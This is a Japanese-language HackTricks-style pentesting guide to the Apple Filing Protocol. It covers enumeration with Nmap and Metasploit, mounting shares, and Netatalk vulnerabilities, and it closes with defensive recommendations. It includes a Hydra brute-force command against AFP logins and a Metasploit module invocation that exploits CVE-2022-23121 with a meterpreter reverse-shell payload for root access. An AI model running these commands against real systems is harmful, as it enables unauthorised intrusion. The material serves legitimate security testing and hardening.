548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Apple Filing Protocol (AFP)は、かつてAppleTalk Filing Protocolとして知られていた、Apple File Service (AFS)に含まれる専門的なネットワークプロトコルです。macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXスタイルおよびACL権限、リソースフォーク、名前付き拡張属性、洗練されたファイルロックメカニズムをサポートしている点で際立っています。
AFPは、現代のmacOSリリースではSMBに取って代わられています(OS X 10.9以降はSMBがデフォルト)。それでも、以下の環境で遭遇することがあります:
- レガシーmacOS / Mac OS 9環境
- オープンソースのNetatalkデーモンを組み込んだNASアプライアンス(QNAP、Synology、Western Digital、TrueNAS…)
- Time-Machine-over-AFPがまだ有効な混合OSネットワーク
デフォルトTCPポート: 548(TCP上のAFP / DSI)
PORT STATE SERVICE
548/tcp open afp
列挙
クイックバナー / サーバー情報
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
有用なAFP NSEスクリプト:
スクリプト | 何をするか |
---|---|
afp-ls | 利用可能なAFPボリュームとファイルをリスト表示 |
afp-brute | AFPログインに対するパスワードブルートフォース |
afp-serverinfo | サーバー名、マシンタイプ、AFPバージョン、サポートされているUAMなどをダンプ |
afp-showmount | 共有とそのACLを一緒にリスト表示 |
afp-path-vuln | ディレクトリトラバーサル、CVE-2010-0533を検出(および悪用可能) |
NSEブルートフォーススクリプトは、より多くの制御が必要な場合、Hydra/Medusaと組み合わせることができます:
hydra -L users.txt -P passwords.txt afp://<IP>
シェアとの対話
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (using afpfs-ng
‑ ほとんどのディストリビューションにパッケージされています)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
マウントされたら、クラシックMacのリソースフォークは隠し._*
AppleDoubleファイルとして保存されることを忘れないでください。これらはしばしばDFIRツールが見逃す興味深いメタデータを保持しています。
一般的な脆弱性と悪用
Netatalkの認証なしRCEチェーン(2022)
いくつかのNASベンダーはNetatalk ≤3.1.12を出荷しました。parse_entries()
の境界チェックの欠如により、攻撃者は悪意のあるAppleDoubleヘッダーを作成し、認証前にリモートルートを取得することができます(CVSS 9.8 – CVE-2022-23121)。Western-Digital PR4100を悪用するPoCを含むNCC Groupによる完全な詳細が利用可能です。
Metasploit (>= 6.3)は、DSI WRITE
を介してペイロードを提供するモジュールexploit/linux/netatalk/parse_entries
を出荷しています。
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
対象が影響を受けたQNAP/Synologyファームウェアを実行している場合、成功したエクスプロイトはrootとしてシェルを提供します。
Netatalk OpenSession ヒープオーバーフロー (2018)
古いNetatalk (3.0.0 - 3.1.11)は、DSI OpenSessionハンドラーにおけるバッファオーバーランの脆弱性があり、認証されていないコードの実行を可能にします (CVE-2018-1160)。詳細な分析とPoCはTenable Researchによって公開されました。
その他の注目すべき問題
- CVE-2022-22995 – AppleDouble v2が有効な場合に任意のファイル書き込み/RCEを引き起こすシンボリックリンクリダイレクション (3.1.0 - 3.1.17)。
- CVE-2010-0533 – Apple Mac OS X 10.6 AFPにおけるディレクトリトラバーサル (検出は
afp-path-vuln.nse
による)。 - **Netatalk 4.x (2024)**では複数のメモリ安全性バグが修正されました – 個別のCVEをパッチするよりもアップグレードを推奨します。
防御的推奨事項
- AFPを無効にする – SMB3またはNFSを代わりに使用してください。
- AFPを維持する必要がある場合は、Netatalkを≥ 3.1.18または4.xにアップグレードするか、2022/2023/2024のパッチをバックポートしたベンダーファームウェアを適用してください。
- 強力なUAM(例:DHX2)を強制し、クリアテキストおよびゲストログインを無効にします。
- TCP 548を信頼できるサブネットに制限し、リモートで公開される場合はAFPをVPN内にラップします。
- CI/CDで
nmap -p 548 --script afp-*
を定期的にスキャンして、悪意のある/ダウングレードされた機器を検出します。
Brute-Force
参考文献
- Netatalkセキュリティアドバイザリー CVE-2022-23121 – "parse_entriesにおける任意のコード実行" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "18年前のバグを悪用する (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。